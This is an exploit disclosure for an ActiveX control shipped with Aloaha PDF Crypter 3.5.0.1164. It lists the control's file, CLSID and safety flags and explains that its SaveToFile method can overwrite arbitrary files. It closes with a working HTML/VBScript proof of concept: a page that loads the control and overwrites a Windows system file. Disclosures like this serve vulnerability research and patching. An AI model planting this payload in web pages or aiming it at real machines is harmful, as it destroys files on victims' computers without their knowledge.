Aloaha PDF Crypter (3.5.0.1164) ActiveX Arbitrary File Overwrite dos exploit
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TITLE:
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Aloaha PDF Crypter (3.5.0.1164) activex arbitrary file overwrite
url: http://www.aloaha.com/
download: http://www.aloaha.com/download/aloaha_crypter.zip
author: shinnai (http://shinnai.altervista.org)
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FILE INFO:
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File: C:\WINDOWS\system32\vbCrypt.dll
InternalName: ebCrypt
OriginalFilename: ebCrypt.DLL
FileVersion: 2.0.0.2087
FileDescription: ebCrypt Main Module
Product: ebCrypt
ProductVersion: 2.0.0.2087
Language: English (United States)
MD5 hash: b262cb93c555c3c9604502d071a783ec
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ACTIVEX INFO:
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ProgID: EbCrypt.eb_c_PRNGenerator.1
GUID: {B1E7505E-BBFD-42BF-98C9-602205A1504C}
Description: eb_c_PRNGenerator Class
Safety report:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
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BUG:
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This activex contains the "SaveToFile" which could be used to overwite arbitrary files on
pc users.
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PROOF OF CONCEPT
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<html>
<object classid='clsid:B1E7505E-BBFD-42BF-98C9-602205A1504C' id='test' ></object>
<script language='vbscript'>
test.SaveToFile "c:\windows\_system.ini"
</script>
</html>
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